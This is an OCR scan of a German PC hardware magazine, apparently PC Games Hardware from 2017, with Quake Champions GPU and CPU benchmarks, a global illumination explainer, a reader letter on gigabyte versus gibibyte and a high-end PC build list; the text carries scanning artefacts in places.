MSI GTX 970 Gaming/3,5+0,5G ВЕ 51| 55,8 (Basis) 
Powercolor RX 570 Red Devil/4G [94811 51,7 (-7 96) 
Palit GTX 780 Jetstream/3G EMI 48,5 (-13 96) 
Gigabyte RX 470 G1 Gaming/4G [4| 47,9 (-14 96) 
HIS R9 280X IceQ X? Turbo/3G [5381] 41,6 (-25 96) 
Sapphire R9 380X Nitro/AG E3711 41,0 (-27 96) 
EVGA GTX 960 SSC/4G ЗУ 37,3 (-33 %) 
Gigabyte GTX 770 Windforce OC/2G BZ 36,9 (-34 96) 
Asus R9 270X DCH TOP/2G EZ] 29,3 (-47 96) 


3.840 x 2.160, max. Details, Ingame-AA/16:1 HQ-AF - „Burial Chamber" 


EVGA GTX 1080 Ti SC2/11G. EXE] 91,1 (4-153 %) 
Gigabyte GTX 1080 G1 Gaming/8G E94 70,2 (+95 96) 
Inno 3D GTX 1070 ХЗ Ultra/8G ВЕБ 59,5 (+65 96) 
Palit GTX 980 Ti Super Jetstream/6G [55211 57,6 (+60 96) 
AMD Radeon R9 Fury X/4G Ш 21| 47,9 (+33 96) 
Asus GTX 980 Strix/4G В 391142,4 (+18 %) 
Zotac GTX 1060 AMP/6G Ш 31 39,2 (+9 96) 
HIS R9 390X IceQ X? Turbo/8G 153511 38,5 (+7 96) 
Powercolor RX 580 Red Devil GS/8G В ЗУ 37,5 (+4 96) 
Asus R9 390 Strix OC/8G Ш ЗД 36,6 (+2 96) 
Palit GTX 1060 Dual/3G 331] 36,5 (+1 96) 
MSI GTX 970 Gaming/3,5+0,5G 1:381] 36,0 (Basis) 
Powercolor RX 570 Red Devil/4G E811] 33,6 (-7 96) 
Palit GTX 780 Jetstream/3G 1:291] 32,3 (-10 96) 
Gigabyte RX 470 G1 Gaming/4G "281 31,2 (-13 %) 
HIS R9 280X IceQ X? Turbo/3G 82411 27,4 (-24 96) 
Sapphire R9 380X Nitro/4G BZ] 27,1 (-25 96) 
Gigabyte GTX 770 Windforce OC/2G | 24,9 (-31 96) 
EVGA GTX 960 SSC/AG 818 23,4 (-35 96) 
Asus R9 270X DC2 TOP/2G 1511 18,5 (-49 96) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDRA-3000 (1T); Windows 10 x64, Geforce 382.53 WHQL, Radeon Software 17.6.2 Non-WHQL, HQ-AF 
Bemerkungen: Basis ist die am meisten verbreitete spieletaugliche Grafikkarte laut Steam Hardware Survey. Für konstante 60 Fps genügt in Full HD bereits eine alte Mittelklasse-GPU, ab WQHD wird's anspruchsvoll. 


Mimil @ Fps 


» Besser 


die Technik geworfen (pcgh.de/ 
QuakeChampions), doch konnten 
wir bislang keine eigenen Mat- 
ches erstellen und waren deshalb 
dem in Quake Champions extrem 
ausgeprägten Chaosfaktor Multi- 
player unterworfen, der genaue 
Vergleichsmessungen sowie eine 
detaillierte Analyse der Engine bei- 
nahe unmöglich machte. Dies hat 
sich nun geändert, die aktuelle Ver- 
sion der Closed Beta lässt uns eige- 
ne Spiele erstellen, die gewünschte 
Karte „Burial Grounds“ wählen und 
sowohl Grafikkarten-Benchmarks 
als auch eine CPU-Skalierung anfer- 
tigen. Die CPU-Messungen finden 
Sie auf der letzten Seite dieses Ar- 
tikels. 


www.pcgameshardware.de 


Entwickler id Software empfiehlt 
ob des rasanten Gameplays 120 
Fps, die beim Spielen einen merkli- 
chen Vorteil gegenüber 60 Bildern 
pro Sekunde bringen. Um solch 
hohe, dreistellige Bildraten zu 
erzielen, ist in Full HD samt Ultra- 
Details eine potente Mittelklasse- 
GPU wie GTX 1060 oder RX 580 
empfehlenswert. Auch ältere und 
eventuell mit weniger Speicher 
bestückte Grafikkarten machen 
eine gute Figur: Obwohl Quake 
Champions zu Beginn einer Runde 
praktisch sämtlichen vorhandenen 
Grafikspeicher belegt - selbst die 
11 GiByte einer GTX 1080 Ti wer- 
den bis zum Rand gefüllt und dies 
bereits in Full HD - läuft das Spiel 


auch mit nur 2 GiByte ohne grobe 
Stocker. Zumindest nach einigen 
Sekunden, denn beim erstmaligen 
Starten eines Matches stockt Qua- 
ke Champions mit allen unseren 
getesteten Konfigurationen und 
auf mehreren Testrechnern sowie 
Privatsystemen - spätestens nach 
Ablauf der Aufwärmphase läuft das 
Spiel jedoch geschmeidig. Mehr als 
4 GiByte bringen auch in hohen 
Auflösungen keine merklichen Vor- 
teile. Wenn Ihnen 60 Fps reichen, 
ist bis einschließlich WQHD eine 
Mittelklasse-GPU ausreichend, na- 
hezu optimal läuft das Spiel mit 
2.560 x 1.440 Pixeln ab einer GTX 
980 Ti oder GTX 1070. Für Ultra 
HD sollte dann allerdings schon 


eine ordentlich übertaktete GTX 
1080 oder besser noch GTX 1080 
Ti im Rechner werkeln, andernfalls 
leidet das Gameplay ein wenig. Mit 
weniger als 60 Bildern pro Sekun- 
de wirkt Quake Champions nicht 
mehr wirklich flüssig, zudem torpe- 
diert der insbesondere gegenüber 
120 Fps empfindlich höhere Input- 
Lag den Spielgenuss. Um dem Herr 
zu werden, können Sie aber natür- 
lich auch die Detaileinstellungen 
im Grafikmenü reduzieren, wobei 
der größte Performance-Sprung 
beim Wechsel vom Preset „mittel“ 
auf „niedrig“ zu finden ist - und 
auch die optischen Auswirkungen 
sind hier am auffälligsten (siehe 
Extrakasten). Mit niedrigen Einstel- 
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Leistungsvergleich der Presets in WQHD 


Zotac Geforce GTX 1060 AMP!/6G (-1.923 MHz Boost) 


Voreinstellung „Niedrig“ Xa 138,5 (+70%) 


Voreinstellung „Mittel“ ШОО 98,4 (+21%) 


Voreinstellung „Hoch“ = 88 (+8%) 
Voreinstellung ,Ultra^ Emu 81,3 (Basis) 


XFX Radeon RX 480 GTR Black Edition/8G (- 1.340 MHz Boost) 


Voreinstellung „Niedrig“ ШЕ 131,6 (477%) 


Voreinstellung „Mittel“ [Xs 90,8 (+22%) 


Voreinstellung „Hoch“ 93 80,5 (+8%) 
Voreinstellung „Ultra“ EEE 74,2 (Basis) 


System: Core i7-6900K (4,0 GHz fixed), MSI X99A Gaming Pro Carbon, 4 x 8G DDR4- 
3000 RAM, Windows 10 x64 ; Geforce 382.53 WHQL, Radeon Software 17.6.2 Bemer- 
kungen: Den gróBten Fps-Zuwachs gibt es beim Wechsel von , mittel" auf , niedrig". 


MIMI 2 Fps 


» Besser 


lungen erzielen sowohl GTX 1060 
als auch RX 480 noch in WQHD 
Bildraten um 120 Fps. Ob der recht 
offensichtliche Detailverzicht die 
gegenüber Full HD deutlich höhe- 
re Pixeldichte wettmacht (oder ob 
diese Details in einem Quake über- 
haupt eine Rolle spielen und even- 
tuell nicht sogar stören), ist eine 
Frage, die Sie sich selbst beantwor- 
ten müssen. Ein guter Kompromiss 
Detaillevel 
und Bildraten lässt sich indes mit 
der Skalierungsfunktion im Opti- 
onsmenü finden. 


zwischen Auflösung, 


Quake Champions wird in Zukunft 
den Open-GL-Nachfolger Vulkan 
unterstützen. Noch ist die gegen- 
über Direct X 11 und Open GL 
hardware-nähere „Closer-to-the- 
Metal“-API nicht implementiert, 
Quake Champions nutzt bislang 
Direct X 11 sowie 64 Bit. Es ist 
anzunehmen, dass sich die CPU- 
Performance mit Vulkan insbeson- 
dere auf schwächeren Systemen 
nochmals verbessern wird, zudem 
dürften speziell AMD-GPUs durch 


Um die spielerisch durchaus wichtigen, hohen Bildraten zu erzielen, ist eine Detailreduktion durchaus eine valide Option. 


Quake Champions nutzt einige anspruchsvoll zu berechnende Effekte, darunter Screen-Space-Reflections oder volumetrische Beleuchtung. Mit mittleren Details (1) werden 
POM-Texturen, Schatten und Detaillevel auffällig reduziert. Bei niedrigen Einstellungen (2) entfallen fast alle Schmankerl, an der generellen Optik ändert sich aber nur wenig. 
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den Einsatz von Async Compute 
profitieren. 


Wirklich nötig erscheint der Wech- 
auf die Vulkan-Schnittstelle 
nicht, denn deren Hauptvorteil - 
die Entlastung der CPU durch den 
Wegfall beziehungsweise das Um- 
schiffen des Direct-X-11-API-Over- 
heads - ist prinzipiell nicht nótig. 
Quake Champions läuft zumindest 
in unserem isoliert betrachteten 
Szenario ohne Mitspieler aufser- 
ordentlich flüssig und fordert die 
CPU kaum. Ausschlaggebend für 
die Framerate ist zu weiten Teilen 
die Grafikkarte, auch bei niedrigen 
Auflósungen und hohen Bildraten. 
Allerdings wird der Prozessor in 
chaotischen Situationen mit vielen 
Spielern natürlich deutlich stärker 
gefordert, ein gewisses Leistungs- 
polster ist daher angebracht. Zur 
Orientierung: Mit der Konfigurati- 
on 2C/4T, 4 GHz sowie 1.280 x 720 
Pixeln bei 25 Prozent Skalierung 
erzielten wir in einem zehnmi- 
nütigen Team-Deathmatch 143,6 
Durchschnitts- und 104 Min-Fps. 


sel 


Viel CPU-Power ist für eine solche 
Reserve also nicht nötig, selbst mit 
einem Zweikerner sind dreistellige 
Bildraten kein Problem - allerdings 
sollte ein Dualcore nach Möglich- 
keit über SMT verfügen, denn ohne 
die zusätzlichen logischen Rechen- 
werke fallen die Bildraten wesent- 
lich niedriger aus. Beim Testen fie- 
len uns außerdem hin und wieder 
kleinere Ruckler auf, die offenbar 
nicht mit dem Laden der benötig- 
ten Daten zum Beginn einer Runde 
in Verbindung stehen. Stehen aller- 
dings mehr als vier Rechenwerke 
zur Verfügung, entwickelt sich Hy- 
perthreading zur Bremse - zumin- 
dest in unserer Testkonfiguration 
mit einer Geforce GTX 1080 Ti. 
In der Praxis läuft das Spiel daher 
auf einem simulierten Core i5 mit 
4C/4T schneller als mit aktivier- 
tem Hyperthreading und vollen 
8C/16T unseres Intel-Achtkerners. 
Nochmals flotter ist die Konfigura- 
tion 6C/12T. Schalten wir SMT ab, 
skaliert Quake Champions indes 
sauber mit den Rechenwerken - 
wobei bereits der „i5“ mit 4 GHz 
durchschnittliche Bildraten jen- 
seits der 300 Fps erzielt und die 
Zugewinne durch 8 physische Re- 
chenwerke ausgehend von 4C/4T 
mit knapp über 10 Prozent nicht 
dramatisch ausfallen. (pr/rv) 
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Tendenziell unfair: Mit einer 21:9-Auflösung sieht man mehr. Zumindest könnte der FOV bei diesem Seitenverhältnis begrenzt wer- 


den, um dem 


Herr zu werden und Spieler mit 16:9-Displays nicht zu benachteiligen. Zudem skaliert das HUD bislang nicht korrekt. 


Quake 


Champions Beta: Prozessorleistung und Kernskalierung mit SMT 


450 


400 


350 


Fps 


300 


250 


200 


150 


1.280 x 720, 25% Res-Scale „Ultra” - SMT an 


u 6C/12T — 330,5/281 avg./min. Fps 
В 8C/16T — 311,7/271 avg./min. Fps 
E 4С/8Т — 300,5/257 avg./min. Fps 


W 2C/AT - 252,1/221 avg./min. Fps /N 
SES JAN 


N 
w 
> 
ч 
o 
ч 
со 


9 0 11 12 13 14 15 16 17 18 19 2 
Zeit їп Sekunden 


System: Core 


i7-6900K (4,0 GHz fixed), Asus Geforce GTX 1080 Ti Strix OC @ -1.936/5.508 MHz, MSI X99A Gaming Pro Carbon, 4 x 8G DDR4-3000 RAM, Windows 10 


x64 (1703); Geforce 382.53 WHQL Bemerkungen: Sind mehr als zwei Kerne vorhanden, ist SMT eher Hindernis denn Hilfe. 


Quake 


Champions Beta: Prozessorleistung und Kernskalierung ohne SMT 


450 


400 


350 


Fps 


300 


250 


200 


150 


1.280 x 720, 25% Res-Scale ,,Ultra” — SMT aus 


u 8C/8T — 350,6/297 avg./min. Fps 
E 6C/6T - 327,4/290 avg./min. Fps 
ш 4С/4Т - 317,1/272 avg./min. Fps 
W 2C/2T – 203,4/181 avg./min. Fps 


N 
w 
EN 
л 
o 
ч 
со 


9 10 11 12 13 14 15 16 17 18 19 2 
Zeit їп Sekunden 


System: Core 
x64 (1703); Ge 


17-6900К (4,0 GHz fixed), Asus Geforce GTX 1080 Ti Strix ОС @ —1.936/5.508 MHz, MSI X99A Gaming Pro Carbon, 4 x 8G DDR4-3000 RAM, Windows 10 


огсе 382.53 WHQL Bemerkungen: Ohne Hyperthreading skaliert die Engine gut mit zusätzlichen Rechenwerken, mehr als vier sind indes kaum nötig. 
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Welt im Licht 


Global Illumination sorgt für die glaubhafte Ausleuchtung moderner Spielewelten mit der Addition 


von indirektem, reflektiertem Licht samt Farbübertragung - noch eine Raytracing-Annäherung. 


ine Globale Beleuchtung oder 
F. Global Illumination (GD 
Wird seit geraumer Zeit immer 
wichtiger und sicherlich sind Sie 
dem Begriff in den letzten Jahren 
schon hàufiger in Ihrer Spielerlauf- 
bahn begegnet. Doch was genau be- 
deutet ,globale” Beleuchtung? Nun, 
im Grunde ist es eine Kombination 
aus direktem und indirektem Licht. 
Wenn in der Realität ein Lichtstrahl 
auf eine Oberfläche trifft, wird ein 
Teil absorbiert, der Rest wird re- 
flektiert. Dieses abgestrahlte Licht 
bestimmt, mit welcher Helligkeit 
und Färbung wir eine Oberfläche 
Der 
Strahl trifft nun indirekt auf weite- 


wahrnehmen. reflektierte 
re Oberflächen, das Spiel wieder- 
holt sich. Da nun jedoch nur noch 
ein Teil des ehemals vorhandenen 
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Spektrums dort eintrifft, findet ne- 
ben einer indirekten Beleuchtung 
auch ein Farbtransfer statt: War die 
erste Oberfläche blau (sie wirft also 
den blauen Anteil des sichtbaren 
Lichtspektrums zurück), wird die 
zweite Oberfläche blau eingefärbt 
- vorausgesetzt, sie schluckt das 
Licht nicht (wenn sie beispielswei- 
se schwarz wäre). In der Realität 
geschieht dies so häufig, bis der 
ausgesandte Lichtstrahl komplett 
absorbiert wurde. 


Die „Realität" in Spielen 

Sie ahnen es vielleicht schon: Für 
heutige Hardware ist eine solch 
komplexe Berechnung in Spielen 
nicht zu stemmen, da natürlich 
nicht nur die Reflexionen und Far- 
bübertragungen eines Strahls be- 


rechnet werden müssen, sondern 
unzählige. Trotzdem kann nur 
noch schwerlich auf eine Globale 
Beleuchtung verzichtet werden. 
Gründe dafür sind die gesteigerte 
Dynamik und Komplexität moder- 
ner Spiele, insbesondere bei Open- 
World-Titeln 
Witterungsverhältnisse und Tages- 


zeiten. Ein anderer Grund ist der 


samt wechselnder 


höhere Realismusbezug durch Phyi- 
cally Based Rendering: Da die Mate- 
rialien physikalische Attribute besit- 
zen, die bei Lichteinfall die Realität 
imitieren, muss logischerweise auch 
die Beleuchtung möglichst authen- 
tisch ausfallen, um diese Eigenschaf- 
ten zu bedienen. Ansonsten wirkt 
das Bild nur bedingt glaubhaft. Da- 
her kommt in beinahe jedem aktuel- 
len Titel eine Globale Beleuchtung 


ins Spiel. Selbst die Indie-Engine 
Unity nutzt in Form von Enlighten 
eine solche (siehe Aufmacher). Die 
Präzision und Dynamik dieser Tech- 
niken sind natürlich eingeschränkt 
und werden zusätzlich durch an- 
dere Rendertricks ergänzt, etwa 
einer Umgebungsverdeckung oder 
Screen-Space-Reflections. Im Grun- 
de würde eine vollumfängliche, 
detaillierte Globale Beleuchtung 
diese Effekte überflüssig machen, 
so ist beispielsweise Nvidias VXAO 
ein Teil Von VXGI. Doch noch ist 
die Technik nicht ausgereift genug 
beziehungsweise eine solche GI zu 
teuer, daher muss abstrahiert wer- 
den. Dabei nutzen Entwickler ver- 
schiedene Ansátze, von denen wir 
uns im Folgenden einige ansehen 
wollen. (pr) 


www.pcgameshardware.de 


Grafikeffekte erklärt Teil 5 | SPIELE & SOFTWARE ki 


Die (halb-)dynamische Globale Beleuchtung via Enlighten-Middleware 


Die Enlighten-Middleware gehört wohl zu den aktuell verbreitetsten Techniken. Neben 
der Unity-Engine nutzte schon Battlefield 3 diese Art Globale Beleuchtung. Zudem ist 
sie in der Unreal Engine 4 integriert und kommt außerdem in unzähligen weiteren Titeln 
zum Einsatz, darunter beispielsweise auch das optisch eher schlichte und recht statische 
Overwatch. Aber natürlich kann die Middleware in Spielen unterschiedlich genutzt und 
auch in Sachen Qualität variiert werden. Enlighten verwendet einen dynamischen Ansatz 
für Levelarchitektur, was insbesondere bei Titeln wie Battlefield 1 mit zerstórbaren Um- 
gebungen offenkundige Vorteile bringt. Die Licht- und Farbübertragungen sind prinzipiell 


Globale Beleuchtung in Battlefield 1. 


sehr überzeugend, wobei der Effekt beispielsweise im ebenfalls mit Enlighten ausgestat- 
teten Mirror's Edge Catalyst eventuell etwas zu akzentuiert ausfällt. Die GI wird indes mit 
Screen-Space-Reflections (1) sowie einer Umgebungsverdeckung ergänzt (2), obwohl die 
Globale Beleuchtung die gleichen Effekte schon in abgemilderter Form mit sich bringt. 
Die Figuren werden per Light Probes beleuchtet. Dies sind im Level verteilte unsichtbare 
,Sonden", die umliegende Beleuchtungsdaten sammeln und bei Kontakt an Spielfiguren 
und Objekte abgeben. Der Soldat bei (3) kommt von draußen, hat noch keine Light Probe 
im Inneren getroffen und trägt daher noch die optisch inkorrekte Beleuchtung von Außen. 


Gut erkennbare, jedoch auch etwas unprázise und stark akzentuierte Farbübertragung in Mirror's Edge Catalyst. 
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Vorberechnete Gl in Unity, dynamische Beleuchtung in Quantum Break 


Das beim Erscheinen optisch sehr ambitionierte Assassin's Creed Unity war einer der der optisch etwas weniger ambitionierte Nachfolger Syndicate nutzt eine „vorgeba- 
ersten Titel, welcher die Fähigkeiten der , Next-Gen"-Konsolen ausschópfte und diese ckene" Globale Beleuchtung. Spätere Anvil-Titel wie Wildlands wandten sich von dieser 
direkt leistungstechnisch überforderte. Neben Physically Based Rendering kommt Art СІ ab und augenscheinlich verwendet auch das kommende Assassin's Creed eine 
eine hübsche Globale Beleuchtung zum Einsatz, die allerdings vorberechnet ist. Die dynamischere Variante. Für Quantum Break wünschte sich Entwickler Remedy eine voll- 


Beleuchtungsdaten machen 16,8 von 40,4 GiByte aus, beinahe die Hälfte der gesamten dynamische СІ, was aufgrund mangelnder Hardware-Power jedoch nur partiell gelang. 
Spielgröße (ohne DLCs) — was die Komplexität der Technik verdeutlicht. Es gibt mehrere, ^ Das Spiel nutzt eine Vielzahl Beleuchtungstricks, darunter Irradiance Volumes. Letztere 
statische Beleuchtungsszenarien, die überblendet werden können, was Sie durchaus sind grob mit Light Probes vergleichbar, greifen also Beleuchtungsdaten ab und geben 
beim Spielen beobachten können. Die Figuren werden per Light Probes beleuchtet. Auch sie an die Umgebung sowie Objekte und Figuren, aber auch untereinander weiter. 


Assassin's Creed Unity nutzt eine vorberechnete Globale Beleuchtung mit unterschiedlichen, jedoch fest vorgegebenen Lichtszenarien. 


N 4 l v l. WERE ` Weg 
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Voxelbasierte Globale Beleuchtung 


Mit Voxeln kann eine komplexe Szene abstrahiert und vereinfacht werden — auch 

intern, etwa zur Berechnung einer Globalen Beleuchtung. Durch diese Reduktion kann 
wiederum die eigentliche Berechnung der GI deutlich komplexer ausfallen und dem 
Raytracing weiter angenähert werden. Eine solche Herangehensweise demonstriert etwa 
die Lunar Lander Demo samt Nvidias VXGI. Dank der sehr komplexen und realistischen 
Ausleuchtung der Szene sind keine , künstlichen" Ambient Lights und ähnliche Tricks nö- 
tig. Allerdings ist VXGI noch dermaßen anspruchsvoll, dass selbst eine stark übertaktete 
GTX 1080 Ti schon in Full HD an ihre Grenzen stößt und deutlich unter 60 Fps absacken 


kann — und das bei einer im Vergleich zu Spielen eher simplen Szene. Einen ähnlichen 
Ansatz verfolgt Crytek mit SVOTI, welches mit diversen Kniffen arbeitet, darunter ein LoD 
und Berechnungen über mehrere Frames. SVOTI zeigt temporale Nebeneffekte, wirkt in 
einigen Belangen nur grobflächig und nutzt zur Farbübertragung die Diffuse-Texturen, 
nicht die tatsáchliche Fárbung in der vorliegenden Szene, was zu einigen kleineren 
Unstimmigkeiten führt. Insgesamt ist die Vorstellung der sich bislang noch in Entwicklung 
befindlichen Technik in den ebenfalls noch nicht vollendeten Spielen jedoch sehr ein- 
drücklich — insbesondere unter Berücksichtigung der eher geringen Leistungskosten. 


Nvidias voxelbasierte Globale Beleuchtung VXGI ist schick und präzise, allerdings auch sehr kostspielig und Nvidia-exklusiv. 


Die voxelbasierte Globale Beleuchtung SVOTI von Crytek ist zur Zeit (noch) ein wenig eingeschränkt, aber auch sehr schick und verhältnismäßig günstig. 
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Gigabyte und Gibibyte: Zwei Worte 
für dasselbe? 

Ich habe gerade das Youtube-Video „Was un- 
terscheidet Gigabyte und Gibibyte? PCGH-Basis- 
wissen“ gesehen und wundere mich. Das in der 
Sendung Gesagte ist so nicht richtig und teilwei- 
se schlicht falsch. 

Zur Erklärung: 1964 wurde von den IBM-Inge- 
nieuren mit Vorstellung des System 360 das Byte 
als Bezeichnung eingeführt. Es bezeichnete die 
Menge von 8 Bit (diese Bezeichnung kam etwas 
spáter dazu), weil diese Menge gebraucht wird, 
um alle Buchstaben des Alphabets, alle Ziffern 
und einige Sonder- und Steuerzeichen abzude- 
cken (dieser Code wurde später als ASCII stan- 
dardisiert). 

Gleichzeitig wurden auch das Kilobyte (1.024 
Byte), Megabyte (1.024 Kilobyte), Gigabyte 
(1.024 Megabyte) und so weiter definiert, auch 
wenn das sprachlich nicht korrekt war. 

Das ging lange Zeit gut. In den späten 80er-/ 
frühen 90erJahren fing man aber in Marke- 
ting-Abteilungen an, davon abzuweichen, damit 
die Kapazitäten der Festplatten größer erschei- 
nen und sie sich besser vermarkten lassen. Diese 
falsche Benutzung der Begriffe hat sich bei Mas- 
senspeichern bis heute leider gehalten. 

Vor ein paar Jahren wurde nun von einer Nor- 
mungsorganisation die Empfehlung rausgege- 
ben, die neuen Bezeichnungen (also Kibi-, Gibi- 
etc.) zu benutzen. Die offizielle Begründung 
war, dass die alte Bezeichnung von den Marke- 
ting-Leuten falsch verwendet wurde. Dass die 
Bezeichnung selbst gramatisch nicht ganz rich- 
tig ist, wurde nur am Rande erwähnt und wurde 
explizit lediglich als Nebeneffekt gewertet. 

Also: Zwischen „Gigabyte“ und „Gibibyte“ gibt 
es keinen Unterschied. Es sind zwei Worte für 
dasselbe. Da aber das eine in einem bestimmten 
Bereicht lange Zeit falsch benutzt wurde, wird 
empfohlen, das andere zu nutzen. 

Das macht aber die Angabe von Speicherka- 
pazitäten und -größen in Windows (und in fast 
allen anderen Betriebssystemen, die mir im 
Heimbereich gerade einfallen) nicht falsch. Sie 
wird nur nicht mehr empfohlen und Microsoft 
folgt dieser Empfehlung eben nicht, was ich per- 
sönlich für richtig halte. Verzeihen Sie jetzt die 
deutlichen Worte: Nur weil ein paar Vollpfosten 
sich was schöngerechnet haben, soll sich der 
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Community 


Www.pcgh.de/print 


AuBer über unsere Webseite www.pcgh.de und unser Forum 


www.pcghx.de können Sie selbstverstàndlich auch per E-Mail an 


leserpost@pcgameshardware.de mit uns Kontakt aufnehmen. 


Sprachgebrauch ändern? Eher sollte man doch 
diesen Idioten sagen, dass sie es endlich richtig 

machen sollen. 
Dass ausgerechnet Sie als Fachleute so einen 
Unsinn verbreiten, verwundert mich doch sehr. 
Heiko D., per E-Mail 


Stephan Wilke: Die Interpretation , 1 Kilobyte 
= 1.024 Byte‘, „1 Megabyte = 1.024 Kilobyte“ etc. 
ist wie von Ihnen erwähnt nicht korrekt. Denn 
die Präfixe Kilo, Mega, Giga etc. sind nun einmal 
Dezimalpräfixe - man denke nur an Maßein- 
heiten wie Gramm, Volt oder Watt. Es ist schon 
klar, dass Festplattenhersteller ein paar Prozent 
an Kapazität einsparen können, wenn in einem 
„Kilobyte“ statt 1.024 nur 1.000 Byte stecken. 


Die Frage ist eben: Sollte man es Herstellern von 
Datenträgern vorwerfen, wenn sie das Präfix 
für eine Maßeinheit korrekt verwenden, auch 
wenn es sich im allgemeinen Sprachgebrauch 
eingeschlichen hat, für die Maßeinheit Byte ein 
falsches Präfix zu verwenden? Meines Erach- 
tens nicht - vielmehr zeigt es auf, wie wichtig es 
ist, von Anfang an korrekte Bezeichnungen zu 
verwenden. Die Speichermenge von 1.024 Byte 
hätte niemals als 1 Kilobyte bezeichnet werden 
dürfen, denn „Kilo“ steht schließlich für tausend, 
nicht für tausendvierundzwanzig. 


Einem 1996 verfassten Text von Dr. Markus 
Kuhn konnte ich entnehmen, dass das Problem 
des falschen Präfix-Gebrauches bereits in der 
frühen Computerwissenschaft diskutiert wur- 
de. Der Computerwissenschaftlicher von der 
Universität Cambridge verweist auf mehrere 
Quellen aus dem Jahr 1968. Das Problembe- 
wusstsein reicht also zeitlich zumindest bis in 
die Anfangsjahre der Festplatte zurück. Vor- 
schläge wie die Verwendung des griechischen 
Buchstaben Kappa konnten sich in der Praxis 
allerdings nicht durchsetzen (bei Interesse zum 
Nachlesen: https//www.cl.cam.ac.uk/ mgk25/ 
information-units.txt). 


Im Prinzip ist es aber eigentlich egal, ob man 
Festplattenherstellern oder IT-Pionieren mit 
einem  nachlássigen Präfix-Gebrauch den 
Schwarzen Peter zuschiebt, denn inzwischen 
herrscht Klarheit: Die International Electro- 


technical Commission (IEC) hat 1996 einen 
Normenentwurf für die Binärpräfixe Kibi, Mebi 
etc. vorgeschlagen, der, 1998 beschlossen, in den 
Folgejahren erweitert und von zahlreichen an- 
deren Standardisierungsorganisationen über- 
nommen wurde. Dazu gehóren unter anderem 
die Physikalisch-Technische Bundesanstalt, das 
NIST und mit dem Institute of Electrical and Elec- 
tronics Engineers auch der grófste technische Be- 
rufsverband der Welt mit über 420.000 Mitglie- 
dern. Der Standard ISO/IEC 80000, der auch die 
Binárpráfixe umfasst, basiert auf der gemein- 
samen Arbeit der bereits erwähnten ТЕС und der 
International Organization for Standardization 
mit über 160 Mitgliedslándern. Die Verwendung 
von Kibibyte, Mebibyte etc. mag vielleicht Umge- 
wóhnung erfordern, ist aber korrekt und welt- 
weit standardisiert. 


Korrekturen 


Auf Seite 39 der PCGH 07/2017 ist im FlieBtext 
zu lesen, dass die Sapphire Radeon RX 570 Pulse 
ITX mit einer Gesamtleistungsaufnahme von 180 
Watt arbeitet. Das ist nicht korrekt, faktisch sind 

es höchstens 150 Watt, wie die Messwerte in der 
folgenden Testtabelle beweisen. Die 180 Watt bezie- 
hen sich auf die Asus Radeon RX 580 Dual 04G aus 
demselben Test. Wir bitten um Entschuldigung. 


PC Games Hardware Online; 
wichtige Dienste und Partner 


Alternate: Soll es eine neue Grafikkarte oder ein 
PCGH-PC sein? Besuchen Sie den größten IT-Händler in 
Deutschland! www.pcgh.de/alternate 


Der PCGH-PC: Wenn Sie auf der Suche nach einem gut 
abgestimmten Rechner sind, kommen Sie um die PCGH- 
PCs kaum herum. www.pcgh-pc.de 


Die Leserbriefe geben nicht die Meinung der Redaktion wieder. Die Redaktion behält sich 


außerdem vor, Leserbriefe zu kürzen. 


® Abos online bestellen: 
www.pcgh.de/shop 


JP PCGH als Digitalausgabe: | 
pcgh.de/digital-ausgabe 


Ð Einzelheft bestellen: 
www.pcgh.de/heft 
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Worte des Monats 


„Sie greifen unverhältnismäßig in die Presse- 
und Meinungsfreiheit ein und können die Kom- 
munikation im Internet nachhaltig beschädigen.” 


Christian Mihr, Geschäftsführer von Reporter ohne Grenzen - er kritisiert in einer Experten- 
anhörung im Deutschen Bundestag die Gesetzespläne gegen sogenannte Hasskommentare. 


Bild des Monats 


Rossis Restekiste == 


Ellbogen für Retro-Fans 


„Manchmal kommen sie wieder” ist nicht nur ein eher mittelmäßiger Film, sondern 25 
offenbar auch das Motto der Designer, die den , Elbow" erfanden. Dieses wirklich sehr 

stylishe Gerät ermöglicht es, die gute alte Audiokassette wieder zu nutzen, ohne sich mit 
sperrigen Walkmännern herumärgern zu müssen. Der Abspieler ist kleiner als die Kassette 
selbst und verzichtet weitgehend auf bewegliche Teile. Wer also noch Audiokassetten Mit der Unterlassungsverfügung gegen OpenlV, der Hauptanlaufstelle für Modifikatio- 
haben sollte, kann sie in der Öffentlichkeit wieder nutzen, ohne sich lächerlich zu machen nen von GTA 4 und 5, setzte Publisher Take 2 eine Kettenreaktion in Gang: Es hagelte 
oder einer Seniorengruppe zugehörig zu outen. http://elbow.co.nf Zehntausende negative User-Reviews bei Steam. Mehr Infos: www.pcgh.de/openiv 


Quelle: https://steamspy.com/app/27 1590 
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Projekt-PCs: High-End 


In jeder Ausgabe stellt PC Games Hardware zwei Beispielkonfigurationen zusammen, an denen Sie 


sich orientieren können, um einen eigenen PC zu bauen. 


ntel hat seine Basin-Falls-Platt- 

form mit den ersten drei Skylake- 
X-Prozessoren veröffentlicht. Wer 
gerade aufrüsten möchte, kommt 
mit der neuen Generation deutlich 
günstiger weg als noch beim Vor- 
gänger Broadwell-E, muss allerdings 


AMD Ryzen 


einen noch nicht fertig gereiften 
Unterbau in Kauf nehmen. Min- 
destens ein BIOS-Update für das 
Mainboard wird in den ersten Wo- 
chen Pflicht sein. Wir haben uns für 
eine Zusammenstellung mit dem 
Achtkerner Core i7-7820X entschie- 


den, um ihn gegen AMDs Ryzen 7 
1700X - ebenfalls mit acht Kernen 
- zu stellen. Der Ryzen bietet takt- 
bedingt weniger Leistung, dafür ist 
die Plattform deutlich günstiger. 
Das Netzteil lässt sich etwas kleiner 
dimensionieren (550 Watt bieten 


Intel Skylake-X 


noch einige Reserven), weil die 
Ryzen-CPU deutlich sparsamer ist. 
Noch mehr Geld lässt sich übrigens 
sparen, wenn Übertakter zum Non- 
X-Modell und gegebenenfalls zu ei- 
nem B350-Mainboard greifen (s. al- 


ternative Komponenten). (mm) 


Komponente 


Hersteller und Produkt 


Preis 


Komponente 


Hersteller und Produkt 


Preis 


Prozessor 


AMD Ryzen 7 1700X 


S 555 


Prozessor 


Intel Core i7-7820X 


€ 640,- 


CPU-Kühler 


Scythe Mugen 5 PCGH-Edition 


SA 


CPU-Kühler 


Scythe Mugen 5 PCGH-Edition 


€45,- 


Grafikkarte (AMD) 


- (zurzeit nichts verfügbar) 


Grafikkarte (AMD) 


- (zurzeit nichts verfügbar) 


Grafikkarte (Nvidia) 


Gainward Geforce GTX 1080 Phoenix 


€ 530,- 


